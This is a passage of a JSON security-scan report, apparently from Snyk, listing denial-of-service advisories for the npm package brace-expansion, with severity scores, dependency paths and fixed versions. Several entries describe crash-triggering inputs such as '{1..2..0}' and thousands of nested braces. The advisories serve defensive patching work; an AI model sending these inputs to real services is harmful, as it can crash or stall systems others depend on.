"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
